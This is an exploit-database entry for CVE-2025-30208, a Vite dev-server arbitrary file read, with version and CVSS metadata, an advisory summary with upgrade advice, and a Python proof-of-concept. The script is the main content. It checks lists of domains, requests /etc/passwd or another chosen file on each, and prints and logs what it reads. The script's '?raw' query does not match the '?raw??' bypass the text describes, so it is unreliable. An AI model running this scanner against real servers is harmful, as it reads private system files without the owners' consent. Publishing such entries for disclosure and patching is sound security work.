header-logo
Suggest Exploit
vendor:
Vite
by:
Sheikh Mohammad Hasan
6.1
CVSS
HIGH
Arbitrary File Read
22
CWE
Product Name: Vite
Affected Version From: <= 4.5.9
Affected Version To: 6.2.2, 6.1.1, 6.0.11, 5.4.14
Patch Exists: YES
Related CWE: CVE-2025-30208
CPE: a:vitejs_project:vite
Metasploit:
Other Scripts:
Platforms Tested: Ubuntu
2025

Vite Arbitrary File Read – CVE-2025-30208

Vite versions <= 6.2.2, <= 6.1.1, <= 6.0.11, <= 5.4.14, <= 4.5.9 have a vulnerability that allows access to files outside the Vite serving allow list by adding specific query strings like `?raw??` or `?import&raw??` to the URL. This issue arises due to the removal of trailing separators in certain instances without considering them in query string regexes. Attackers can retrieve content from arbitrary files if present, affecting only applications explicitly exposing the Vite dev server to the network. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 address this vulnerability.

Mitigation:

Upgrade Vite to versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, or 4.5.10 to fix this vulnerability. Avoid exposing the Vite dev server to the network unless necessary.
Source

Exploit-DB raw data:

# Exploit Title: Vite Arbitrary File Read - CVE-2025-30208
# Date: 2025-04-03
# Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r)
# Vendor Homepage: https://vitejs.dev/
# Software Link: https://github.com/vitejs/vite
# Version: <= 6.2.2, <= 6.1.1, <= 6.0.11, <= 5.4.14, <= 4.5.9
# Tested on: Ubuntu
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-30208
# https://github.com/advisories/GHSA-x574-m823-4x7w
# CVE : CVE-2025-30208

"""
################
# Description  #
################

Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
"""

import requests
import argparse
import urllib3
from colorama import Fore, Style

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_vulnerability(target, file_path, verbose=False, output=None):
    url = f"{target}{file_path}?raw"
    print(f"{Fore.CYAN}[*] Testing: {url}{Style.RESET_ALL}")

    try:
        response = requests.get(url, timeout=5, verify=False)  # Ignore SSL verification
        if response.status_code == 200 and response.text:
            vuln_message = f"{Fore.GREEN}[+] Vulnerable : {url}{Style.RESET_ALL}"
            print(vuln_message)

            if verbose:
                print(f"\n{Fore.YELLOW}--- File Content Start ---{Style.RESET_ALL}")
                print(response.text[:500])  # Print first 500 characters for safety
                print(f"{Fore.YELLOW}--- File Content End ---{Style.RESET_ALL}\n")

            if output:
                with open(output, 'a') as f:
                    f.write(f"{url}\n")
        else:
            print(f"{Fore.RED}[-] Not vulnerable or file does not exist: {url}{Style.RESET_ALL}")
    except requests.exceptions.RequestException as e:
        print(f"{Fore.YELLOW}[!] Error testing {url}: {e}{Style.RESET_ALL}")

def check_multiple_domains(file_path, file_to_read, verbose, output):
    try:
        with open(file_to_read, 'r') as file:
            domains = file.readlines()
            for domain in domains:
                domain = domain.strip()
                if domain:
                    check_vulnerability(domain, file_path, verbose, output)
    except FileNotFoundError:
        print(f"{Fore.RED}[!] Error: The file '{file_to_read}' does not exist.{Style.RESET_ALL}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC for CVE-2025-30208 - Vite Arbitrary File Read")
    parser.add_argument("target", nargs="?", help="Target URL (e.g., http://localhost:5173)")
    parser.add_argument("-l", "--list", help="File containing list of domains")
    parser.add_argument("-f", "--file", default="/etc/passwd", help="File path to read (default: /etc/passwd)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Show file content if vulnerable")
    parser.add_argument("-o", "--output", help="Output file to save vulnerable URLs")

    args = parser.parse_args()

    if args.list:
        check_multiple_domains(args.file, args.list, args.verbose, args.output)
    elif args.target:
        check_vulnerability(args.target, args.file, verbose=args.verbose, output=args.output)
    else:
        print(f"{Fore.RED}Please provide a target URL or a domain list file.{Style.RESET_ALL}")